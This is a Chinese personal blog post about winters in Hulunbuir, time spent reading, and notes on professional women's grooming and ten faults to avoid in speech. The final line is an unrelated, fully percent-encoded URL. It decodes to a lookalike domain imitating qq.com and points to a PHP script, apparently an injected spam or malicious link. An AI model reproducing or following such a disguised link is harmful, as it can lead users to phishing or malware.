本人工作的地方，内蒙古自治区东部的呼伦贝尔，那是个塞外草原城市。其最大特点，高寒冰天雪地。每年的供热期为七个半月。即十月一日至来年五月十五日。冬天最低气温零下40多度，白天也在零下20多度。最冷时空气似乎都冻了，屋外是一片白雾茫茫的冰颗粒，能见度不足200米，手上戴薄手套就冻僵了，寒风打在脸上像刀子割疼。路上积雪和霜结成冰，清除不静。因为寒冷出行特别不便。冬天娱乐活动都在室内，如保龄球，健身房。此地方必竟不是大众消费。漫长的冬季和节假日，当地最普遍的娱乐活动是喝酒，打麻将。或三五好友，或一家人，备些吃的，在屋里进行也有意思。马路上人和车特少。春节后大部分商店正月十五后上班。今年好了，超市春节未休息，人们有个地方去逛逛。我喝酒不行，打麻将不会，朋友拽我看几次打穷胡，因兴趣不大，只是理论懂一点，估计上手也是输，干脆不学了。纯业余时间不好打发。只好在图书馆泡着（花钱办证），那里明亮暖和，只要是上班时间看一天书也不撵。或者在家找本书挡着脸。多年下来，也小有收获。我因高寒地区生活单调而因祸得福，迫使自己学了些东西，又由于看的书杂，相对知道的多一些，为此本人和朋友在人生路上的困难困惑挫折，以及家庭婚姻矛盾，疾病，健身养生等，知道一些，化解一些。细想想，事实上不是我比谁聪明睿智，只是怕冷不敢出屋，偏得读了点书。书中自有黄金屋，所有问题书中都有答案。现把我学习心得公布几则，朋友您如有兴趣，就瞄上一眼。
          一. 职业女性怎样才会容光焕发？
    职业女性，首先要有平常心，要把握好自己的品味，绝不可不修边幅，凌乱不整，也不可浓妆艳抹花枝招展。首饰作为装饰品，不可戴过多，多则乱，未显高雅，反显俗气点缀而已。其中分寸，要靠长期实践去把握。同时也与个人审美情趣，人格水准，精神情操关系密切。不自卑也不张扬，踏实做人认真做事，再加上适宜的服饰和淡妆，一名得体大方，清雅靓丽的职业女性，自信的出现在职场上。
           二.开口十忌
    1 忌浮夸，把土堆说成大山。 2 忌轻率， 不要轻易许诺，满口应承。 3 忌粗鲁， 言语粗俗 缺乏修养。 4忌俗气， 油腔滑调玩世不恭。 5 忌累赘，颠来倒去啰啰嗦嗦。6 忌牵强，生拉硬扯牵强附会。 7忌庸俗，只会议论家长里短  8忌露峰，炫耀自己贬低别人。9忌诽谤，说长道短无中生有。10忌虚伪，虚情假意言不由衷。
    有些其它读书笔记，我将陆续写在博文上，亲爱的朋友，您如果时间紧就不用去找书了，有类似想法，在此就知道了。               http://%69%6d%67%63%61%63%68%65%2e%71%71%2e%63%6f%6d%2e%71%71%64%69%79%2e%69%6e%66%6f/a/s/m.php